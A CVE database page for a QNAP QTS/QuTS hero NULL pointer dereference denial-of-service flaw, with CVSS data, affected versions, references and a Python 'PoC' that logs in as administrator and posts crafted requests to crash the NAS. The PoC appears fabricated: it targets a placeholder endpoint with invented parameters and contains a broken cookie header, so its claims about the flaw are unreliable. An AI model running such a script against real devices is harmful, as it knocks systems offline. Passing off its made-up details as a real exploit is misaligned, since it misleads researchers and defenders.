CVE-2025-52859

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52859 PoC - QNAP NULL Pointer Dereference DoS
# Vulnerability: NULL pointer dereference in QNAP QTS / QuTS hero
# Requirements: Valid administrator credentials
# Impact: Denial of Service (system crash)

import requests
import sys

TARGET_HOST = "https://<qnap-nas-ip>:8080"
USERNAME = "admin"
PASSWORD = "<admin_password>"

def exploit_null_pointer_deref():
    """
    Exploit NULL pointer dereference vulnerability in QNAP QTS/QuTS hero.
    Requires valid admin credentials to authenticate first.
    Triggers a NULL pointer dereference in a system service to cause DoS.
    """
    session = requests.Session()

    # Step 1: Authenticate as administrator
    login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi"
    login_payload = {
        "user": USERNAME,
        "pwd": PASSWORD
    }

    try:
        resp = session.post(login_url, data=login_payload, verify=False, timeout=10)
        if resp.status_code != 200:
            print(f"[-] Login failed with status: {resp.status_code}")
            return False
        print("[*] Authenticated as administrator")
    except Exception as e:
        print(f"[-] Connection error: {e}")
        return False

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The malicious payload targets an internal service that fails to
    # validate a pointer before dereferencing it, causing a crash.
    exploit_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>.cgi"
    exploit_headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": session.cookies.get_dict()
    }
    exploit_payload = {
        # Crafted parameters designed to trigger NULL pointer dereference
        "param": "\x00",
        "action": "invalid_action_triggering_null_deref"
    }

    try:
        resp = session.post(exploit_url, data=exploit_payload,
                            headers=exploit_headers, verify=False, timeout=10)
        print(f"[*] Exploit request sent, status: {resp.status_code}")
    except requests.exceptions.Timeout:
        print("[+] Target appears to have crashed (timeout) - DoS successful")
        return True
    except requests.exceptions.ConnectionError:
        print("[+] Target connection refused - service likely crashed - DoS successful")
        return True
    except Exception as e:
        print(f"[*] Request result: {e}")

    return False

if __name__ == "__main__":
    print("[*] CVE-2025-52859 - QNAP NULL Pointer Dereference DoS PoC")
    print(f"[*] Target: {TARGET_HOST}")
    exploit_null_pointer_deref()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52859
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52859
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52859/
[4] VulDB https://vuldb.com/cve/CVE-2025-52859
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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